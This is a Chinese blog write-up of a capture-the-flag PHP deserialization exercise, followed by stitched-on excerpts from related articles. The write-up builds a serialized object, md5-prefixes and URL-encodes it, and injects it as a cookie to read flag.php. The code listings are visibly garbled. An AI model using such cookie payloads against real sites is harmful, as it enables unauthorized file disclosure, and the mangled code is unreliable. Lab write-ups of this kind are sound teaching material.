記錄乙個靶場反序列化漏洞

2022-10-08 21:33:20 字數 1973 閱讀 1619

序列化:

序列化 (serialization)是將物件的狀態資訊轉換為可以儲存或傳輸的形式的過程。在序列化期間,物件將其當前狀態寫入到臨時或永續性儲存區。以後,可以通過從儲存區中讀取或反序列化物件的狀態,重新建立該物件。

反序列化:

反序列化與 serialize() 對應的,unserialize()可以從已儲存的表示中建立php的值,單就本次環境而言,可以從序列化後的結果中恢復物件(object)本質上serialize()和unserialize()在php內部實現上是沒有漏洞的,漏洞的主要產生是由於應用程式在處理物件、魔術函式以及序列化相關問題的時候導致的。當傳給 unserialize() 的引數可控時,那麼使用者就可以注入精心構造的payload。當進行反序列化的時候就有可能會觸發物件中的一些魔術方法,造成意想不到的危害。

1

<?php

2class

readme7}

89if(isset($_get['source']))

15//

$todos = ;

1617

if(isset($_cookie['todos']))24}

2526

if(isset($_post['text']))

35 ?>

363739

4041

4243

4849

這是靶場給我們的原始碼,根據這個**我們可以構建payload。

我們已經知道要取得的flag存在與flag.php中,並且發現魔術函式

__tostring(只有在物件轉換為字串輸出的時候觸發)

45     =$todo?>
這個語句其實是<?php echo $todo ?>的簡寫,

可以知道這個語句能夠觸發魔術函式,我們只要能構建合適的語句使得readme中的變數source為flag.php

我們就能夠訪問到flag.php中的內容。

所以我們可以先構建**

<?php

class readme

}$a=new readme;

$a->source='flag.php';

$a=$[a];

echo serialize($a);

?>

**執行得到 a:1:}

**中我們為什麼要把$a 序列化?為什麼要把a變為陣列?請繼續往下看

所以我們可以逆推上去,

44 <?php foreach($todos as $todo):?>
$todo由陣列$todos賦值(所以我們可以知道我們構建的cookie也必須是乙個陣列,經過foreach函式後才變為乙個值),而陣列$todos是在cookie裡得來的,所以我們現在的目標就是能夠構建合適的cookie讓cookie進過層層解碼後傳遞到$todo且$todo是readme類的物件,且物件中的source為flag.php。(這裡需要逆向思維)

觀察這段原始碼我們可以發現 $m就是我們執行得到的序列化碼(所以我們上面要把$a序列化,這樣在反序列化的時候就能達到我們目的)  a:1:}

並且$todos=$c=$h.$m=$h.md5($m) 且$h=md5($m)

所以$c=md5($m).$m

所以我們可以構建出payload

e2d4f7dcc43ee1db7f69e76303d0105ca:1:}

經過url編碼後得到e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d

塞入cookie得到flag

PHP反序列化漏洞

序列化簡單利用 serialize 序列化 使用函式serialize 可將例項序列化為字串 unserialize 反序列化 使用函式unserialize 可將序列化的字串還原 示例 class example unserialize get code 漏洞利用 構造漏洞利用的 儲存為test....

PHP反序列化漏洞

前幾天安恆月賽兩道web題中有一道題是關於php反序列化的,然後剛好前幾天剛好看過這個知識點,於是乎這次比賽才沒有爆零,總算是寫出來了一道題 doge 所有php裡面的值都可以使用函式serialize 來返回乙個包含位元組流的字串來表示。unserialize 函式能夠重新把字串變回php原來的值...

Apacche Dubbo 反序列化漏洞

早在2019年開發者社群就有談到這個 http 協議漏洞問題,近期360靈騰安全實驗室判斷漏洞等級為高,利用難度低,威脅程度高。建議公升級 dubbo 版本,避免遭受黑客攻擊。漏洞描述 簡單的說,就是http remoting 開啟的時候,存在反序列化漏洞。apache dubbo在接受來自消費者的...